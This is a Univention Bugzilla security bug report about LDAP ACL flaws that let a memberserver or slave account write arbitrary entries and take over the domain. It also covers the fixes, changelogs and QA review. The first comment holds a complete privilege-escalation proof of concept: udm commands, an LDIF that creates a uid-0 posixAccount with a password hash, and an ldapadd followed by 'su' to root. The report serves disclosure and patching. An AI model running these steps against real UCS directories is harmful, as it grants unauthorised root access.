Univention Bugzilla – Bug 41715
take over complete domain as memberserver
Last modified: 2021-06-23 07:29:05 CEST
Preconditions: Having a memberserver/slave/master/backup or any object underneath of cn=memberserver,cn=computers,$ldap_base / cn=dc,cn=computers,$ldap_base. root@xen3:~# eval "$(ucr shell)" root@xen3:~# udm container/cn create --set name=memberserver --position "cn=computers,$ldap_base" Object created: cn=memberserver,cn=computers,dc=school,dc=local root@xen3:~# eval "$(ucr shell)"; udm computers/memberserver create --set name=hacker --position="cn=memberserver,cn=computers,$ldap_base" --set password=univention Object created: cn=hacker,cn=memberserver,cn=computers,dc=school,dc=local # now PWN it $ cat posix_account.ldif dn: univentionAppID=foobar,cn=samba4,cn=apps,cn=univention,dc=school,dc=local univentionAppID: foobar objectClass: univentionApp objectClass: posixAccount uid: hacker cn: hacker uidNumber: 0 gidNumber: 0 homeDirectory: /root loginShell: /bin/bash userPassword:: e2NyeXB0fSQ2JEguMDVWRC9EdVBueUlvTkMkeUlKd1lCWk5XVTRma0NWOFNFMHFpUDd5REIzSVFXbkZQUjA4VWkuTUtjSFFCWnZ5N09JbVUyYXZiMjJHVFlHbHpCZzRGanR0TVlDVXo4RldTcDBKbC8= $ ldapadd -D cn=hacker,cn=memberserver,cn=computers,dc=school,dc=local -w univention < posix_account.ldif adding new entry "univentionAppID=foobar,cn=samba4,cn=apps,cn=univention,dc=school,dc=local" $ su hacker Passwort: hacker@xen3:~# id uid=0(hacker) gid=0(root) Gruppen=0(root)
All our current ACL rules aren't validating object creation and restrict the set of valid attributes/object classes. Affected are at least: AppCenter ACL's UVMM ACL's UCS@school AppCenter ACL's UCS@school UVMM ACL's
Also as UCS@school teacher/staff/admin via temporary lock objects.
*** Bug 31304 has been marked as a duplicate of this bug. ***
Because of Bug #41180 every regular user can do this.
(In reply to Florian Best from comment #4) > Because of Bug #41180 every regular user can do this. Well, regular users can add this entry but it's not evaluated (login via ssh doesn't work) either because the DC master cannot read the entry or because a user with the same name already exists.
The correct way to define LDAP ACL's is: Create a DIT content rule for each of our object classes which prevents a mix of certain object classes. → http://www.openldap.org/faq/data/cache/1473.html After this the ACL definition should look like the following: access to dn=… filter="(objectClass=$OCS)" attrs=entry,@$OCS by …
Restrictions to attribute values have been added to the LDAP-ACL's. This bug will be continued in Bug #41797 to evaluate the content of an entry via LDAP ACL's. ucs-test (6.0.35-4): r70877 | Bug #41180: also catch OBJECT_CLASS_VIOLATION as now a content rule for 'univentionAdminUserSettings' exists r70779 | Bug #41180: add 61_udm-users/30_user_admin_setting_acl r70778 | Bug #41180: fix ucs-test build r70777 | Bug #41180: add missing executable flag r70764 | Bug #41180: restrict also creation of cn=admin-settings entries univention-ldap (12.1.6-29): r71020 | Bug #41715: Bug #41180: revert adding add_content_acl to slapd.conf r70863 | Bug #41180: remove write access to pseudo-attribute 'entry' of cn=admin-settings,cn=univention r70849 | Bug #41180: Add content rule to 'univentionAdminUserSettings' and 'univentionAdminGlobalSettings' r70764 | Bug #41180: restrict also creation of cn=admin-settings entries r70608 | Bug #41180: restrict access to uid=*,cn=admin-settings to objects with univentionAdminUserSettings object class univention-ldap.yaml: r70609 | YAML Bug #41179, Bug #41180
univention-ldap (12.1.6-30): r71023 | Bug #41715: reallow posixAccount for univentionWindows objects
A small textual overview of all changes: DC Slaves/Memberserver only have access to * attributes of the object classes univentionObject and lock in cn=*,cn=*,cn=temporary,cn=univention. * attributes of sambaDomain for existing objectClass==sambaDomain objects → these objects are created by some samba tools which doesn't add univentionObject attributes; IMHO we should restrict this further to objects in cn=samba but I don't know what objects customers currently might have * attributes of the object classes organizationalRole, sambaIdmapEntry, sambaSidEntry in cn=idmap,cn=univention * attributes of the object classes univentionObject, sambaUnixIdPool, sambaIdmapEntry, sambaSidEntry, organizationalRole underneath of cn=idmap,cn=univention → Not possible to modify objects into shares/posixUsers anymore there. Any windows client/dc (objectClass==univentionWindows) can't be transformed into a univentionShare anymore. The group "Windows Hosts" can't be tranformed into a univentionShare or posixAccount anymore. → further adjustments will be done via Bug #41800 Modification of attribute uidNumber to 0 for any univentionWindows computer is still possible → Bug #41799 There are various positions where DC Slaves/Memberserver can create arbitrary objects. E.g. cn=*,cn=idmap,cn=univention,dc=AutoTest091,dc=local cn=*,cn=apps,cn=univention,dc=AutoTest091,dc=local → Bug #41797 The test case 10_ldap/90_acl_access_to_uidNumber0 (renamed from 90_LDAPacl_DC_access_to_uidNumber0) has been adjusted to test way more combinations than prior. This still has room for further enhancements / more combinations especially for the UCS@school LDAP ACL's [WIP].
Should DC Slaves/Memberserver be possible to add univentionPolicyReference to * ^cn=idmap,cn=univention * ^cn=([^,]+),cn=([^,]+),cn=temporary,cn=univention * ^univentionAppID=([^,]+),cn=([^,]+),cn=apps,cn=univention * ^cn=([^,]+),cn=apps,cn=univention * ^univentionVirtualMachineUUID=([^,]+),cn=Information,cn=Virtual Machine Manager * ^cn=([^,]+),cn=CloudConnection,cn=Virtual Machine Manager * cn=policies,cn=system * cn=WMIPolicy,cn=system ?
Ok, first thanks for the textual description of Comment 9, that helped a bit. I don't quite like commit r70851, which changes read permissions on several rules. This bug here is about closing an issue with write permissions, so generally speaking, no read permission must be changed here. Colleteral effects of adjustments like these can bee seen in Bug 41180 Comment 3 and 4. Anyway, I think they are ok in this case. Generally, from the QA point of view I don't like mixing "this should not change anything" type of changes with "this changes the behaviour to fix the bug" changes. As a developer I know how hard it is to avoid this :-) Otherwise the changes and the Jenkins tests look good. Good job in identifying the issues and applying in depth knowledge of LDAP ACLs. Advisory: Ok
<http://errata.software-univention.de/ucs/4.1/222.html>
*** Bug 41402 has been marked as a duplicate of this bug. ***